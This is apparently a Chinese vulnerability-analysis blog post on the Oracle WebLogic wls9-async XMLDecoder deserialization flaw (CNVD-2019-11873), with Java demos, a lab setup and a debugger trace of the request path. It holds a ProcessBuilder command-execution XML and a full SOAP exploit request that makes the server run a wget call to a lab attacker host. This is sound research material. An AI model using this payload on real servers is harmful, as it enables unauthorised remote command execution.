一、原理
(一)概述
2019年4月17日,国家信息安全漏洞共享平台(CNVD)收录了由中国民生银行股份有限公司报送的Oracle WebLogic wls9-async反序列化远程命令执行漏洞(CNVD-2019-11873)。攻击者利用该漏洞,可在未授权的情况下远程执行命令。
(二)CNTA-2019-0014
部分版本WebLogic中默认包含的wls9_async_response包,为WebLogic Server提供异步通讯服务。由于该WAR包在反序列化处理输入信息时存在缺陷,攻击者可以发送精心构造的恶意 HTTP 请求,获得目标服务器的权限,在未授权的情况下远程执行命令。
该漏洞的影响版本有WebLogic 10.X和WebLogic 12.1.3。
(三)原理
WorkContextXmlInputAdapter中对输入的XML未进行有效检查,可导致任意命令执行。
先简单看下Java中xml的结构,来个简单的demo,
import java.beans.XMLEncoder;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.util.HashMap;
public class DemoOut {
public static void main(String[] args) throws FileNotFoundException {
HashMap<Object, Object> map = new HashMap<>();
map.put("arr", new String[3]);
XMLEncoder e = new XMLEncoder(new BufferedOutputStream(new FileOutputStream("demo.xml")));
e.writeObject(map);
e.close();
}
}
得到的demo.xml如下,
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<object class="java.util.HashMap">
<void method="put">
<string>arr</string>
<array class="java.lang.String" length="3"/>
</void>
</object>
</java>
这其中,object标签表示对象;void标签表示函数调用、赋值等操作, 里面的method 属性指定方法名称; array标签表示数组, 里面的class属性指定具体类。
我们再来读取一下这个xml文件,
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class DemoIn {
public static void main(String[] args) throws FileNotFoundException {
XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("demo.xml")));
Object demo = d.readObject();
d.close();
}
}
跟进在调试这段代码的过程中,可以看到以下两个比较有价值的过程点,
一是此处生成一个表达式对象var5,其中会调用HashMap的put将arr给put进去,
最终反序列化恢复成为一个我们最开始构建的对象,
我们可以想象,此处的void标签可以表示HashMap对象的put()函数的调用,也应该可以标识其它类的其它函数的调用。
比如,如果我们将demo.xml中的对象由HashMap改为可以执行命令的函数,再赋予适当的参数,就有可能执行恶意功能。
有如下这般xml一个,
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_151" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
再执行刚才的java,
可以看到calc已经被执行。
我们在刚才的Expression处下断,
当执行完create()之后,即会弹出计算器。
也就是说,只要能够传入合适的XML,且顺利被目标的readObject调用,就有可能成功实现RCE。
二、调试
(一)环境搭建
选用vulhub-master/weblogic/CVE-2017-10271
docker-compose up -d
将其中的Oracle文件夹拷出,
根据提示,只将/wlserver_10.3/server/lib导入idea即可,用到的主要是wlserver_10.3\server\lib\wseeclient.jar!\weblogic\wsee\server\servlet\BaseWSServlet.class
(二)复现
Afant1大佬的payload如下,
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.43.64:7001
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml
Content-Length: 768
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>wget 192.168.43.134:9898</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>
开启http服务查看效果,
发送,
http.server收到请求,复现成功。
(三)调试
调用栈
readObject:203, XMLDecoder (java.beans)
readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)
receiveRequest:179, WorkContextLocalMap (weblogic.workarea)
receiveRequest:163, WorkContextMapImpl (weblogic.workarea)
handleRequest:27, WorkAreaServerHandler (weblogic.wsee.workarea)
handleRequest:141, HandlerIterator (weblogic.wsee.handler)
dispatch:114, ServerDispatcher (weblogic.wsee.ws.dispatch.server)
invoke:80, WsSkel (weblogic.wsee.ws)
handlePost:66, SoapProcessor (weblogic.wsee.server.servlet)
process:44, SoapProcessor (weblogic.wsee.server.servlet)
run:285, BaseWSServlet$AuthorizedInvoke (weblogic.wsee.server.servlet)
service:169, BaseWSServlet (weblogic.wsee.server.servlet)
...
下面分两段看一下流程。
1.BaseWSServlet.service->HandlerIterator.handleRequest
在service下断点,发送payload,断下,
由于没有强制使用HTTPS,可以顺利通过下面这些步骤,
接下来将生成一个AuthorizedInvoke,
这个函数的最后,调用了AuthorizedInvoke.run(),
接下来我们继续跟进run()。
run中生成了processerList,当var2为SoapProcessor时,跟进process()函数,
我们发送的是POST类型的数据包,此处顺利进入handlePost(),
跟进handlePost,var7负责建立连接相关事宜,
跟进invoke,
我们可以看到,var1负责与攻击机的连接,
接下来声明了一个Dispatcher,并set了connection和port的相关属性,然后调用了dispatch,
dispatch有发送、分派之意,正常来讲,对于一个访问,WebLogic应该会有正常的dispatch,至于载荷是不是合理,应该交由后面的逻辑处理部分来处理,我们跟进之。
dispatch开头的异常应该不能阻断前进的步伐,
向下看,到第70行,handleRequest即为处理请求。
2.HandlerIterator.handleRequest->XMLDecoder.readObject
在进入HandlerIterator.handleRequest之前,我们先看一下HandlerChain的内容,
可以看到是21个handler,
跟进handleRequest
可以看到正在遍历刚才的handlers,
我们设置一个条件断点,在index为16(对应WorkAreaServerHandler)时断下,
运行到handleRequest(var3),
跟进之,可以看到此处的var5在从var4读取xml输入,
详细看下,此时的几个变量信息,
可以看到,正是我们的payload,此处我们的payload还是很完好的,也没有经过任何检查。
跟进XMLDecoder的生成,这是个routine了。
跟进receiveRequest,调用了WorkContextLocalMap的receiveRequest。
接下来就进入了熟悉的流程,到此,没有见到有效的防护,
readEntry()里调用了readUTF(),
readObject在此展现。
再继续执行即是触发。
三、收获与启示
CNTA-2019-0014和CVE-2017-10271具有较高的相似性,都是在某一点上对用户发送的XML缺乏合理的检查,最终导致RCE。
参考链接
https://www.cnblogs.com/afanti/p/10792982.html
https://xz.aliyun.com/t/4895
https://www.cnvd.org.cn/webinfo/show/4989